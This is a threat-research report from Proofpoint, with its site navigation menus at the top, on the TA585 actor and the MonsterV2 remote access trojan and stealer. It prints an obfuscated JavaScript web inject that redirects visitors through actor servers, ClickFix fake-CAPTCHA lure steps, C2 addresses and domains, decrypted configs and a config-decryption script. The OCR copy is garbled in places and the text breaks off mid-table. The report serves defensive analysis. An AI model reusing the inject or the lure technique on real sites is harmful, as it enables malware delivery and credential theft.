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Threat Protection

Stop all human-centric threats with industry-leading Al and global threat intelligence.

Core Email Protection
Prime Threat Protection
How to Buy

Data Security & Governance
Transform your data security and governance with a unified, omni-channel approach.

Unified Data Security

Adaptive Email DLP

Enterprise DLP

Insider Threat Management

Digital Communications Governance
How to Buy

Data & SaaS Security Posture
Remediate data and SaaS exposures by understanding your risk posture.

Account Takeover Protection
Data Security Posture Management (DSPM)

Human Resilience

Unlock full user risk visibility and drive behavior change.

ZenGuide

Premium Services

Leverage our strategic guidance and hands-on expertise to optimize your Proofpoint solutions.
All Products

Browse the full Proofpoint product suite.

More products
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More Proofpoint Products

Account Takeover Protection (ATO)

Detect, investigate and remediate account takeovers with sophisticated machine learning.
Adaptive Email DLP

Detect and prevent accidental and malicious email data loss with advanced ML and behavioral Al.
Archive

Securely store enterprise communications and search with deep data insights.

Automate

Streamline compliance supervision by reducing low-risk content and analyst review fatigue using machine
learning models.

Capture

Collect and retain all digital communications for compliance, legal discovery, and long-term information
retention.

CASB

Protect cloud apps and data with visibility, control, and threat prevention.

Collab Protection

Extend protection beyond email for all messaging and collaboration tools.

Core Email Protection

Protect your people from email threats using Al and global threat intelligence.
Discover

Process, analyze and cull more archived information in-house for e-discovery.

Data Security Posture Management (DSPM)

Discover, classify, and protect sensitive data across cloud and hybrid environments.
Email DLP & Encryption

Prevent email data loss and encrypt sensitive emails with granular and dynamic rules-based controls.

Endpoint DLP
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Detect and prevent data loss at the endpoint.
Enterprise DLP

Detect and resolve data loss risk across email, cloud, and endpoints with centralized policies.

Email Fraud Defense

Protect your brand reputation, meet DMARC requirements to increase deliverability and identify lookalikes of

your domains.

Insider Threat Management

Detect and prevent insider threats with deep visibility into risky behavior.

Patrol

Monitor and manage social media compliance with automated workflows and reporting.
Prime Threat Protection

Stop all human-centric attacks across multiple channels and stages with Al threat detection.

Secure Email Relay

Increase control and security for application-generated email and accelerate DMARC implementation.

Supervision

Monitor and supervise digital communications to enable compliance with SEC, FINRA, and other
regulations.

Track

Track, audit, report on and reconcile all content in your capture stream for compliance.
ZenGuide

Strengthen human resilience through automated, risk-based learning.

Solutions by Use Case

How Proofpoint protects your people and data.

Ensure Acceptable GenAl Use

Empower your workforce with safe GenAl practices.

Authenticate Your Email

4/33


https://undefined/us/products/information-protection/enterprise-dlp
https://undefined/us/products/email-protection/email-fraud-defense
https://undefined/us/products/information-protection/insider-threat-management
https://undefined/us/products/digital-communications-governance/patrol
https://undefined/us/products/threat-protection
https://undefined/us/products/email-security-and-protection/secure-email-relay
https://undefined/us/products/digital-communications-governance/supervision
https://undefined/us/products/digital-communications-governance/track
https://undefined/us/products/mitigate-human-risk
https://undefined/us/solutions/ensure-acceptable-genai-use
https://undefined/us/solutions/email-authentication-with-dmarc

Protect your email deliverability with DMARC.
Combat Email and Cloud Threats

Protect your people from email and cloud threats with an intelligent and holistic approach.

More use cases

Solutions by Industry

People-centric solutions for your organization.

Federal Government

Cybersecurity for federal government agencies.

State and Local Government

Protecting the public sector, and the public from cyber threats.

More industries

Comparing Proofpoint

Evaluating cybersecurity vendors? Check out our side-by-side comparisons.
View comparisons

Solutions By Use Case

How Proofpoint protects your people and data.

Change User Behavior

Help your employees identify, resist and report attacks before the damage is done.
Combat Data Loss and Insider Risk

Prevent data loss via negligent, compromised and malicious insiders.

Modernize Compliance and Archiving

Manage risk and data retention needs with a modern compliance and archiving solution.

Protect Cloud Apps
Keep your people and their cloud apps secure by eliminating threats and data loss.

Prevent Loss from Ransomware

5/33


https://undefined/us/solutions/combat-email-and-cloud-threats
https://undefined/us/solutions/federal
https://undefined/us/solutions/state-and-local-government
https://undefined/us/compare
https://undefined/us/compare
https://undefined/us/compare
https://undefined/us/compare
https://undefined/us/compare
https://undefined/us/compare
https://undefined/us/solutions/change-user-behavior
https://undefined/us/solutions/combat-data-loss-and-insider-risk
https://undefined/us/solutions/enable-intelligent-compliance
https://undefined/us/solutions/protect-cloud-apps
https://undefined/us/solutions/prevent-loss-from-ransomware

Learn about this growing threat and stop attacks by securing ransomware's top vector: email.

Secure Microsoft 365

Implement the best security and compliance solution for Microsoft 365.
Solutions By Industry

People-centric solutions for your organization.

Higher Education

A higher level of security for higher education.

Financial Services

Eliminate threats, build trust and foster growth for your organization.
Healthcare

Protect clinicians, patient data, and your intellectual property against advanced threats.
Mobile Operators

Make your messaging environment a secure environment.

Internet Service Providers

Cloudmark email protection.

Small and Medium Businesses

Big-time security for small business.

Proofpoint vs. the competition
Side-by-side comparisons.

Proofpoint vs. Abnormal Security
Proofpoint vs. Mimecast

Proofpoint vs. Cisco

Proofpoint vs. Microsoft Purview
Proofpoint vs. Legacy DLP
Proofpoint vs. Check Point Harmony

Resources

Find reports, webinars, blogs, events, podcasts and more.

6/33


https://undefined/us/solutions/secure-microsoft-365
https://undefined/us/solutions/higher-education-security
https://undefined/us/solutions/financial-services-and-insurance
https://undefined/us/solutions/healthcare-information-security
https://undefined/us/solutions/mobile-message-security-solutions-for-service-providers
https://undefined/us/solutions/email-security-solutions-for-service-providers
https://undefined/us/solutions/protection-compliance-small-business
https://undefined/us/compare/proofpoint-vs-abnormal-security
https://undefined/us/compare/proofpoint-vs-mimecast
https://undefined/us/compare/proofpoint-vs-cisco
https://undefined/us/compare/proofpoint-vs-microsoft-purview
https://undefined/us/compare/proofpoint-vs-legacy-dlp
https://undefined/us/compare/proofpoint-vs-check-point-harmony

Resource Library
Blog

Keep up with the latest news and happenings.

Webinars

Browse our webinar library to learn about the latest threats, trends and issues in cybersecurity.
Cybersecurity Academy

Earn your certification to become a Proofpoint Certified Guardian.

Podcasts

Learn about the human side of cybersecurity.

Threat Glossary

Learn about the latest security threats.

Events

Connect with us at events to learn how to protect your people and data from ever-evolving threats.
Customer Stories

Read how our customers solve their most pressing cybersecurity challenges.
Company
Proofpoint protects organizations' greatest assets and biggest risks: their people.

About Proofpoint
Careers

Stand out and make a difference at one of the world's leading cybersecurity companies.
News Center

Read the latest press releases, news stories and media highlights about Proofpoint.
Privacy and Trust

Learn about how we handle data and make commitments to privacy and other regulations.
Environmental, Social, and Governance

Learn how we apply our principles to positively impact our community.
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Support

Access the full range of Proofpoint support services.

Platform
Discover the Proofpoint human-centric platform.

Learn More
Proofpoint Satori

The power behind agentic security operations.

Proofpoint Nexus

Advanced Al and threat intelligence to detect threats and assess data risk.
Proofpoint Zen

Integrated control points to protect people and data, wherever work happens.

October 13, 2025 Kyle Cucci, Tommy Madjar, Selena Larson, and the Proofpoint Threat Research Team
Key findings

e TA585 is a sophisticated cybercriminal threat actor recently named by Proofpoint. It operates its entire
attack chain from infrastructure to email delivery to malware installation.

e The actor demonstrates innovation in a constantly changing cybercrime threat landscape, with unique
web injection campaigns and complicated filtering.

e TAS585 frequently delivers MonsterV2, a malware with numerous capabilities sold on cybercriminal
forums. It is not sold by TA585, and has multiple cybercriminal customers.

e MonsterV2 has capabilities of a remote access trojan (RAT), loader, and stealer. It avoids infecting
computers in Commonwealth of Independent States (CIS) countries.

Overview

As the cybercrime landscape continues to innovate, new threat actors and capabilities are emerging. One
new cybercriminal threat actor, TA585, operates with a high level of sophistication and delivers a variety of
malware including the recently released MonsterV2.

MonsterV2 is advertised as a remote access trojan (RAT), stealer, and loader. It is expensive compared to its
peer malware families, and used by only a small number of actors, including TA585. Proofpoint researchers
first observed it sold on hacking forms in February 2025.

TAS585 is notable because it appears to own its entire attack chain with multiple delivery techniques. Instead
of leveraging other threat actors — like paying for distribution, buying access from initial access brokers, or
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using a third-party traffic delivery system — TA585 manages its own infrastructure, delivery, and malware
installation. The evolution of cybercrime and its supporting ecosystem has made the threat landscape
comparable to the modern job market and the “gig economy.” However, TA585 bucks that trend and owns
and manages nearly all of its business model, except the final malware which is sourced from a MaaS
(Malware as a Service) such as Lumma Stealer, Rhadamanthys or MonsterV2.

This report details both the newly named TA585 as well as the MonsterV2 malware, which is used by
multiple actors. While TA585 is one customer of MonsterV2, it is not the malware author, and multiple threat
actors use it in campaigns.

Campaign details

Government impersonation

Proofpoint first observed MonsterV2 in a late February 2025 campaign leveraging U.S. Internal Revenue
Service (IRS) themed lures. Messages contained URLs linking to a PDF which would open in the browser.
The PDF linked to a webpage that was using the ClickFix technique, a technique named by Proofpoint in
June 2024, which lures visitors to manually run a malicious command in the Windows Run-box or
PowerShell terminal.
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SBA themed PDF.
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Are you human?

Verify that you are a human

~

I'm not a robot

IRS Themed ClickFix Landing leading to MonsterV2, observed on 26 February 2025.

% % idoudrive.com/Apple/Document2.htm KOS O Veleuhau " - -9
C % idoudrive.com/Apple/Smith_IRS_FLhtml * 0 & @
- b
i0S to Windows PDF! To verify your request
i0S PDF to Windows PDF follow the instructions

below

Click here to Convert PDF
F * Press the Windows Button S8 + R
+ Press CTRL+V

« Press Enter

ClickFix themed landing leading to MonsterV?2.

11/33



If the user copied and pasted the PowerShell script as instructed, it executed a second PowerShell script
ultimately leading to MonsterV2.

Proofpoint observed two more U.S. government-themed MonsterV2 campaigns in March 2025, one
impersonating the IRS and a second impersonating the Small Business Administration. Both campaigns
included less than 200 messages and mostly targeted finance and accounting firms. None of the campaigns
are attributed to a tracked threat actor.

TA585 campaigns

In April 2025, Proofpoint researchers investigated an interesting vector: unique web injects and activity we
named “CoreSecThree” based on domain names and infrastructure. The actor registers and maintains its
own domain names and uses Cloudflare hosting infrastructure. Initial campaigns delivered Lumma Stealer,
but the actor began using MonsterV2 in early May 2025.

TA585 activity is typically distributed via compromised websites. Proofpoint detects the threat by sandboxing
URLs from business email messages that lead to legitimate websites that have been compromised to serve
malware to selected visitors. Although neither the sender nor the site owner may intend harm, the websites
have been compromised with a malicious JavaScript injection. This injection causes the website to load a
malicious script which, in campaigns so far this year, is used to create an overlay of the compromised
website to present a fake CAPTCHA (ClickFix) instructing users to verify they are human. Unlike some other
web inject campaigns that rely on third-party traffic distribution systems, TA585 does its own filtering and
checks to ensure a real person is receiving the payload.

function(){let e=decodeURIComponent(escape(atob("aHRAcHM6Ly9hbmFseXRpd2F2ZS5jb20vYXBpL2d ldFVybA==")));

n t(e){return btoa(unescape(encodeURIComponent(e))})}let o,n=(0={},window.location.search.slice(1).split("&").
forEach(e=>{let[t,n]=e.split("=");t&&n&&( o0 [t]=decodeURIComponent(n.replace(/\+/g," "}))}),0);async function i(o=1)
{try{let n=await fetch(decodeURIComponent(escape(atob("aHRA@cHM6LyOhbmFseXRpd2F2ZS5jb20vYXBpL2d1dFVybA=="})));if(!n.ok)
throw Error("Network response was not ok");return’${(await n.json()).url}/?wsid=${window.location.hostname}&domain=${t(window. location.hostname)} }

catch(r){if(o<l)return i(o+1);return’ ?wsid=${window. location.hostname}&domain=${t (window. location.hostname)
n.verified&&localStorage.setItem("verified","true");let r=document.querySelector('link[rel=" ]t
1=={ocalStorage.getItem("verified")&&(a=navigator.userAgent, s=/Win NT 10.0 N/ (12 \ )/.test(a),

c=/ \/(1[2-3] [0-9]\.\d+\.\d+\.\d+)/.test(a),d=/Fir 9]\.\d+)/.test(a),s&&(1] |c||d))&&i().then(e=>{1l¢ e; r&&(o+="&link=${t(r.href)}"
window. location.replace(o)})}();

Example TA585 JavaScript inject.
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@ Justa moment... X +

& 23 security.fleapecguadr.com/?domain=aW50bHNwemluZy5jb20%3D&link=aHROcDovL 2ludGxzcH)pbmcuY29tL3dwLWNvbnRIbnQvdXBsb... ¥ <}

#* intlspring.com

Verify you are human by completing the action below.

] 4
D Verify you are human ¢ ouprLARE
Privacy + Terms

intlspring.com needs to review the security of your connection before proceeding.

ClickFix overlay on compromised website.

This attack chain is able to react on the “Win+R” activity from the user with an actual “reaction” from the
website upon completing it. Once the user clicks the “Verify you are human” they are prompted to complete

the “Win+R” action:

= intlspring.com

Verify you are human by completing the action below.

D Verify you are human ¢, oupFLARE
Privacy + Terms

Complete the Verification
Steps
2w the security of your connection bef
1. Press the Windows Key (58) + R
2. Press CTRL + V
3. Press Enter
4. Please wait for the Continue

button to appear

“Verification” page owned by the threat actor.

Following the instructions will initiate a PowerShell command that downloads and executes malware.
Meanwhile, the page starts beaconing repetitively to the lure server which will reply with: “Access denied”
until the PowerShell script finishes downloading and running, and the malware is checking in to the payload
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server from the same |IP address that is loading the web page. The user is then redirected to the actual
website (with /?verified=true,).

. Requ... Result Protocol Host URL ‘Comments Body Caching Content-Tvoe = Process SHA256 Custom
) - Verify you are human by completing the action below. |
GET 200 HTP intispring.com  f 9 786 S
" o Tumnel to fonts.g om: 443 P . — W
GET 200 HTTP ntispring.com fwp-includes s iquery/jquery-migrate.min.js?ver =3.4.1 V77 ) _ -
GET 200  HTTP intispring.com  fwp-conter endfjsfadvance-search-frontend.js?...  CoreSecThree Inject 2077 no-cache B = ]
GET 200  HTTP tispring. cor p-content/uploads /2! g 4 o = ima
GET 200  HTTPS analytiwave.com fapi/getUrl CoreSecThree Redirection Chaill L+ no-<ache ap Complete ;T: verification
OFTL.. 403  HTTPS analytics.guardflare.doud  fapi/collect CoreSecThree Analytics 564 no-cady
GET 302 HTTPS analyticacnodec.com  /d3af16CD2ebF 1718 /2wsid =intisprir i S0bHNwemluZySib20=8ink...  CoreSecThree Redirection Chain
security. fleapecguadr.com  /7F6e SD4c362A 1f0E9dBC 7b6ASe 4F 3d?wsid =intispring.com&domain=aW50bHNwc...  CoreSecThree Filtering__ q
GET 200  HTTPS security. fleapecguadr.com  /2domain=aWS0bHNwemiuZy 5ib20%3D 8link=aHROcDovL AudGxzcHIpbmauY 29t 3d...  CoreSecThree Lure no-cache
POST 200 HTTPS security.fleapecguadr.com  (6D5e483a2C 1f0ASbSF7dSE Sc4A3b2F CoreSecThree (User Ciick step 1)l o 16 no-<ache applic
POST 404 HTTPS security. fleapecguadr.com  [f1E2d3C4bSAGF7EBASCOb 1A2F3E4DGFT CoreSecThree (User Click step2) 1967 no-cache textt

GET 200 HTTPS repolok.com Clickfix MSI Payload (result of Wii+R command) o 440 no<ache  application | 4 ..
GET 200 HTTPS security. fleapecguadr.com  ffIE2d3C4bSAGT7EBASCOb 1A2F3E4SCE Beaconing ("This is a check route.”) 22 no<ache  texthtml;
GET 200  HTTPS intlspring.com  f?verified=true o 5

200 Tunnel to  fonts.gstatic.com:443

Ui il i

# &pring Intlcrnutioqal

Traffic on the compromised site; the user is redirected once their IP is confirmed.

Proofpoint has observed the above JavaScript inject and infrastructure (intlspring[.Jcom) delivering two
different malware payloads: MonsterV2 and Rhadamanthys.

GitHub themed campaigns

While the maijority of the TA585 malware payloads are distributed via web injects, Proofpoint has also
observed it delivered via emails such as notifications from GitHub caused by the threat actor tagging GitHub
users in fake security notices that contain URLs leading to actor-controlled websites. Third-party researchers
have observed TAS85 activity delivered via malvertising.

In August 2025, Proofpoint identified a unique TA585 attack chain leveraging GitHub notifications to deliver
Rhadamanthys. We first spotted this post by ANY.RUN about ClickFix delivering Rhadamanthys and began
investigating.

We identified GitHub notification emails that kicked off the attack chain. The emails were likely generated by
the threat actor creating an issue in an actor-controlled repository with a fake security warning and then
tagging legitimate accounts who receive notifications that they have been tagged, with the text from the
issue.
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~  gitfabian78-beep ® More
"~ notifications@github.com

To gitfabian78-beep/github6 <github6@noreply.github.com> @ 8/6/2025, 2:40 PM

Reply to gitfabian78-beep/github6 <reply+BI4NDTSQZH52LPXJAW4I75GGT4XFDEVBNHHMI7TLNBI@reply.github.com> @

[gitfabian78-beep/github6] Friendly reminder: Activity detected on your GitHub (Issue #4)
List-ID gitfabian78-beep/qgithubb <githubb.gitfabian78-beep.github.com>

- gitfabian78-beep created an issue (gitfabian78-beep/github6#4)

We wanted to keep your account details updated — there’s been some activity on your GitHub profile recently.
If you recognize this sign-in, you don’t need to do anything further.

For your convenience, you can check your recent sessions below:
Show session summary

No action is required if everything looks fine.

Have a great week,
GitHub User Notifications

This is a routine info message to help you monitor recent account use.
Security Tip

Reply to this email directly, view it on GitHub, or unsubscribe.

You are receiving this because you were mentioned.

(=)  https://bit.ly/40Tjyvm

GitHub notification email generated by the threat actor.

The notifications contained shortened URLSs that led to an actor-controlled website. Like TA585’s typical web
inject campaigns, the website performed filtering functions, and if those checks were passed, the visitor will
be redirected to a website that presents a fake GitHub-branded CAPTCHA instructing users to verify they
are human.
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L
2 O @ Justamoment. x IS

C ) https://security.flaxergaurds.com/?domain=Z210aHViLmNvbQ%3D%3D&link=aHROcHM6LyInaXRodWIuZ2I0aHViY... A ‘ a3 (

github.com

Verify you are human by completing the action below.

D Verify you are human g ouprLARE

Complete the Verification
Steps : : :
the security of your connection before proceeding.
. Press the Windows Key (%@) + R

1

2. Press CTRL + V

3. Press Enter

4, Please wait for the Continue

button to appear

GitHub themed web page, using the typical CoreSecThree filtering and beaconing techniques.

Following the instructions initiated a command that downloaded and executed Rhadamanthys.
MonsterV2 malware details

MonsterV2 is advertised as a RAT, stealer, and loader. It is full-featured and has many capabilities that allow
it to perform varying functions during a breach. Proofpoint has observed MonsterV2 acting either primarily as
a stealer or as a loader, dropping malware such as StealC Version 2. While Proofpoint observes TA585
using MonsterV2, it is also used by other cybercriminal threat actors.

MonsterV2 has the following capabilities:

e Able to enumerate and exfiltrate sensitive information such as browser and login data, credit card and
crypto wallet information, login data, and tokens for services such as Steam, Telegram, and Discord,
files and documents, as well as other data typical of infostealers

¢ View the infected systems’ desktop and record the webcam

o Clipper capabilities (essentially replacing cryptocurrency addresses in the infected systems’ clipboard
with threat actor-provided addresses)

¢ HVNC (Hidden Virtual Network Computing) — Allows the threat actor to establish a remote desktop-like
connection to the infected system, giving graphical user interface access without alerting the user of
the infected system
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¢ Receive and execute a wide variety of commands from its C2

e Download and execute additional payloads
¢ Avoids infecting CIS countries: Russia, Belarus, Ukraine, Kazakhstan, Uzbekistan, Turkmenistan,

Kyrgyzstan, Armenia, Tajikistan, Moldova, Latvia, Lithuania, and Estonia

MonsterV2 has been advertised on criminal hacking forums, as seen in the following post excerpt:

MonsterV?2

kunobanT
L 1 ]

3

o MoayntHbll BoTHeT/RAT/HVNC HOBOro nokoneHu

MONSTER

|

¢ A modular botnet/RAT/HVNC of a next generatio

e HVNC Botnet demo video: https://vimeo.com/1(

Perucrpauuns

NeaTeneHOCTL
© Nokazaro comepxxumoe
Adenozur

ABTOrapasT

6 &2
© Nokazarbp cogepxumoe

MonsterV2 advertisement.

Here is an excerpt of the translation (from Russian, using Google Translate) of the original advertisement of
MonsterV2:

e Languages used in development: C++ for the client (build), Go and TypeScript for the server logic and
panel

e The build has built-in RAIl wrappers over handles and pointers throughout to prevent memory leaks
and UB

¢ Wherever threads are used, the thread-safety concept is observed

¢ Self-written obfuscator and source code generator through direct modification of AST

¢ Build has no dependencies on various additionally installed runtimes and runs even on clean systems

e Automatic privilege escalation and modern approaches to evade detection

o Before release, the code is run through sanitizers, linters and autotests. Coverage close to 100%
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e Functionality testing of features is carried out on real machines under conditions as close as possible
to «field» ones.

* A professional approach to creating an architecture that ensures high scalability and performance

e Current modules list: File Manager, Process Manager, Resident Loader, Webcam Recorder, Remote
Desktop (HVNC), Remote CMD/PowerShell (read the description of each module below; the number
of modules will increase as the project is updated)

e To communicate with the C2 server, a raw TCP connection is used with a small add-on on top in the
form of an exchange of encryption keys with two-way authentication (analogous to SSL/TLS)

¢ If the connection is lost, the bot will try to restore the connection (reconnect)

e The panel is written in a convenient and minimalistic style, so that users do not get distracted, but at
the same time maintain good UX

e The panel supports Russian and English localizations

¢ Real-time Ul updates

¢ One-click installation and intuitive settings

The malware is sold in tiered options, with pricing for one week, two week, or month-long use. The
“Standard” version costs $800 USD per month, while the “Enterprise” version that includes a stealer, loader,
HVNC, and HCDP (Chrome developer tools) costs $2,000 per month. To compare that with another common
stealer, Rhadamanthys is advertised for $199 per month.

Proofpoint has observed that MonsterV2 is actively being maintained and updated, even with minor and
“‘cosmetic” updates. For example, Proofpoint identified the following string in earlier versions of the malware
(with a misspelling of the word “terminate”):

case -3LL:
.m128i_i32[@] = @;
NtRaiseHardError(-1073741286, @, @, OLL, 6u, (PULONG)&ommand 2);
| = BLL;
*(_;_ZR: “)&v133 = cpe"atc" new(9x2BuLL),
1128 = _mm_ load - 531128((cc _ ml128i )&xmmw rd_1483822290);
:trcpy(( *Ivl33, "'alled *o ternimate!");

Misspelled “terminate” string.

This was fixed in later versions of the malware:
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case OxFFFFFFFFFFFFFFFDLL:
LODWORD(v126) = @;
qword_148B67470(3221226010LL, OLL, @LL, OLL, 6, & 1256, 8);
*(_OWORD *)Block = @LL;
5 = OLL;
= @LL;
k[@] = operator new(@x2@ulLL);
= 20LL;
= 31LL;
strepy((char *)Block[@], “"Failed to terminate!");
sub_14017BE2@(al, Block);

Fixed string spelling.
Behavior

Analyst Note: Prior to execution, MonsterV2 may be decrypted and loaded via another malware called
SonicCrypt. This crypter will be detailed later in this report.

Once executed on the target system, MonsterV2 executes the following actions:
Initialization

It first decrypts and resolves several Windows API functions it requires. Each library and function name
string is decrypted using a unique ChaChaZ20 key, which complicates reverse engineering and static
analysis. The ChaCha20 functionality is discussed later in this report.

Next, MonsterV2 attempts to elevate its privileges on the system by requesting many permissions, such as
the following (this list is not exhaustive). These permissions also hint at the malware’s functionality:

e SeDebugPrivilege - Processes that obtain this privilege are potentially able to read and modify the
memory of other processes, elevate privileges and bypass security controls, among other things. This
is a common privilege that malware may request

o SeTakeOwnershipPrivilege — Processes with this privilege can modify object permissions and
effectively bypass restrictions, commonly leveraged in privilege escalation scenarios

e SelncreaseBasePriorityPrivilege - Allows changing the base priority of a process, influencing its CPU
scheduling

¢ SelncreaseWorkingSetPrivilege - Permits raising a process’s working set, allocating more physical
memory for its operations, and improving performance

e SeSecurityPrivilege - Required to view/edit the security event log

e SeShutdownPrivilege - Lets processes shut down the system

Additionally, MonsterV2 will optionally create a mutex on the infected system, in the format “Mutant-
<unique_id_64 characters>". Here are a few examples:

e Mutant-5B7C3E6FO9D8A1F42BCDEO347FA8COE12D13A4597628F6BD57C4E81A9670D3F5A
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e Mutant-A8F1D32C497EBS560C9A21D87F34EB70591D2C864EAF53BD7906C12F8D4E39BAF
e Mutant-93D8FE2065BCA71BEF2486AD7FAO0C935ECC27104ABFOEG6531875F22CB40D9ESF

This mutex creation and format is a good indicator for threat hunting.

Configuration decryption

MonsterV2 then decrypts its config, which is stored as an encrypted blob in the binary. The config is
decrypted using ChaCha20, and then decompressed using an embedded ZLib decompression library. The
malware seems to make use of the LibSodium (https://doc[.]libsodium[.]Jorg/) library for
encryption/decryption.

Below are some examples of a decrypted MonsterV2 configuration:

{"anti dbg":false,"anti sandbox":false,"aurotun”:false,"build name"”:"xellet™,"ip":"
l‘ﬂ 180.160.173", "kx_pk" :"SY/1eOvtVGDdIBojHCNk3An+nxTIuMdFgxaEbD2zthY=", "port™:7712

’ p’l viledge _escalation":false,"seal pk":"sY1dBtK4PBmQBgxbLaQBUZloa+JCEcW11KL4fV/iP

"F‘-JP;‘L*'-H UC‘-i';'ck'ﬁE‘.-"IbUE"'r.”'Di*#‘51-:*:'1bamiD'*‘ER,‘-':'
x" :false,"aurotun™:false,"build name":"DELAND","disabl
ol Ap :'::- 2 ::. ", "kx_pk"™:"0+zmMfARFrzL1VPbmiwlWV3i5/C+Mjjr51U21YVe
ri14="," pPﬁ* 1, " -
WTNep+RJItqEAV l_)_.. Ny E©

MonsterV2 config examples.

In a later sample we analyzed, MonsterV2 supported multiple C2s also in the form of domains instead of just
IP addresses:

al::,”an*i sandbox” :false, "aurotun”:false,"build name”:"site4”,

fdl;&,'lp : "sprtsolutions.com blatsprt.xyz letstryagain.shop
x_pk":"g@q9IoTHSu+TugUFREeqXopGrRPUYJKAGXIfaOB+1X0=","port":4

"'ala_;:ﬂ :false,"seal pk":"vp24yqOjcwotodpmIljgqc3VBUEStuss
sign pk":"LAjsBmB8XTqliFwinLrjTmb56XZt/Ds3RBkKgbRsVHo="

MonsterV2 config example, with four C2 domains.

The configuration consists of the following values:

IValue |Description |
If set to “True”, the malware attempts to detect and evade debuggers in
anti_dbg use. In the samples we analyzed, we did not witness this value being

anything other than “False”

If set to “True”, the malware attempts to detect sandboxes and execute
some rudimentary anti-sandbox techniques. In the samples we
analyzed, we did not witness this value being anything other than
“False”

anti_sandbox
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aurotun (misspelling of
“autorun”)

If set to “True”, the malware attempts to establish persistence

build_name

campaigns and potentially threat actors

The build name of the malware, which could be used to cluster

disable_mutex

|If set to “True”, the malware does not create a mutex on the host

ip / port

domains

The C2 IP and Port. The IP field can consist of multiple IP addresses or

priviledge_escalation
(another misspelling)

If set to “True”, the malware attempts to elevate its privileges

kx_pk / seal_pk / sign_pk

See also section “Gather System Information” later.

Keys or key material likely related to encryption, authentication, and
integrity of communication between the C2 server and malware client.

As mentioned, the config is decrypted using ChaCha20. The overall process looks as follows:

1. The malware reads the first 32 bytes prior to its config (the header) and this is used as key material to
generate the ChaCha20 decryption key.
2. This key material is combined with hardcoded “master key” data embedded in the malware which is
used to derive the ChaCha20 decryption key and nonce.

3. ChaCha20 is initialized to decrypt the config. ChaCha20 can be identified in memory via the constant
“‘expand 32-byte k”, and the resulting ChaCha20 key, counter, and nonce can be seen in memory after

the constant:

Address Hex ASCII
000000000014F470|B2 02 20 03|00 00 00 O0O|0OA 18 55 10|00 00 00 D0 =. eeeacses oo
000000000014F480|BD BB 03 00100 00 00 00|60 FZ 14 00100 00 00 00(%»...... e eae
000000000014F490 |R8 58 5C 00 58 34 26 40 ( 00|\x\..... X4&@
000000000014F4A0| 70 F7 14 00 €QtEZ 14 00100700 00 00|p=e.c.-- T
000000000014F4B0| 00 00 00 DD \ 00 00 00 00| e vvveennncnnnnas
000000000014F4C0 (010000 00100 00 00 aflge o 2o 40101 00 00 00 ......... %R, ...
000000000014F4R0 mmmm expand 32-byte k
000000000014 B 7 2 . AHa-A[g~E.%)"
000000000014 ol -, «UA. 16 Aoah.{)
000000000014FST0 QT 00 00 00100 00 00 OOIFE D3 37 30163 28 6 020 ........ bGG’chx
000000000014F510 [ 2 LOMMX. ..aY\. s+ ..
000000000014F520| 00 00 00 00|00 00 00 WP42A 42 25 40/01 00 00 00| ...vuu.u. *B¥A,
000000000014F530| 00 00 oo 00|00 00 00 000 00 00 00| ..uuun.. ay\.....
000000000014F540 | & 00 00 00 OO|00 00 00 00| hO..veeeeennennnn
000000000014F550 |01 00 00 00]00 00 00 00|Z 00 00 00 00|.uuuunn. o
000000000014F560| 00 00 00 00|00 00 00 00|00 00 OO0 00|00 00 00 00| +vuiveeeeeennnnnn

In this image, we can see the ChaChaZ20 initialization constant (1), and Key (2), and counter + Nonce (3).

4. The encrypted config blob is decrypted using the derived ChaCha20 key and nonce. The resulting
decrypted config blob is ZLib-compressed (78 9C is a typical ZLib header):
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Address

ASCII

0000000000603B60
0000000000603B70
0000000000603B80
0000000000603B90
0000000000603BA0
0000000000603BBO
0000000000603BCO
0000000000603BDO
0000000000603BEOD
0000000000603BFO
0000000000603C00
0000000000603C10
0000000000603C20
0000000000603C30
0000000000603C40
0000000000603C50

0000000000603C60
NNNNNNNNNNEN2C 7N

X.D._0%0..:E’.0§
" n.}..sA U.ie
.t.ORN. 1E%ubL£&yr
« L0 UE'\O ¢+S.%"
L. A= 1. 0pdize. T
x=B.AJ. . <. 028072z
5o e BCZ JEYarElate
+>77. 7gx0sA= a,
§%}. AI“oﬁnua a¢—
-1£..H%..LY8.E.,
<0.31HBQb. 9 . 9Y. U
20L.}C. . .ZD7T%.
6ﬁ¢0-uc &0. |ﬁAw«
01z8I6HXYés0:,; 01
Ea0~9...=..ZEMI4
10130. nng1 r.?;
e VYD GAL e

Decrypted config blob in memory

5. The compressed config blob is then decompressed

Address

in memory,

resulting in the config:

ASCII

00000000006044B0
00000000006044C0
00000000006044D0
00000000006044E0
00000000006044F0
0000000000604500
0000000000604510
0000000000604520
0000000000604530
00000000006045 40
0000000000604550
0000000000604560
0000000000604570
0000000000604580
0000000000604590
00000000006045A0
00000000006045B0

srcoooooooldlnanc
:"anti_dbg":fTals
e, "anti_sandbox™
:false, "aurotun”
:false,"build_na
me":"site2","dis
able_mutex":fTals
e,"ip":"85.208.8
4.32","kKx_pk":"x
wWUewFmMBC41vdVFG
SdsKswh+K0oDod9xL
SFdi4a462A=","po
rt":2326,"privil
edge_escalation™
:false,"seal_pk"

Cleartext config in memory.

Here is a Python script that decrypts a MonsterV2 config using a provided key and nonce:
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import zlib

import binascii

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
from cryptography.hazmat.backends import default_backend

def chacha20 decrypt(key: bytes, nonce: bytes, ciphertext: bytes, counter: int = 0) -> bytes:
cipher = Cipher(algorithms.ChaCha20(key, nonce), mode=None, backend=default_backend())
decryptor = cipher.decryptoxr ()
plaintext = decryptor.update (ciphertext)
return plaintext

£ ChaCha20 key and nonce

key = bytes.fromhex ('S85AFC6A461ACSESB717ECAOFRAEAL29272D0OBABSSE2036CD21BC4F2E368857B29")
nonce = bytes.fromhex('0100000000000000FED34732634E5602")

# ZLib decompression wbits

decomp:ess_wbits = 15

# Decrypt config blob

ciphertext = bytes.fromhex{enc:ypted_config_blob)

plaintext = chacha20_decrypt(key, nonce, ciphertext, counter=0)
hex data = plaintext.hex() .uppexr ()

compressed data = binascii.unhexlify(hex data)

# Decompress config blob
decompressed = zlib.decompress (compressed data, decompress wbits )

print(f"\nDecrypted and Decompressed Config:"™)
print (decompressed)

Gather system information

After MonsterV2 decrypts its config, it attempts to reach out to its C2 server. It will continue to attempt this
connection until there is a successful connection to the C2 or the malware process terminates. After
connecting to its C2, it sends the following information:

IValue |Description |
version |The version of the MonsterV2 malware |
build name The build name of the malware, from the
- config
Likely a public key or key material used for
pk secure communication between the
malware client and the C2

Possibly used as integrity protection for data being sent
to the C2, to ensure data is not manipulated prior to or
during transit to and from the C2

The geolocation of the infected system, for

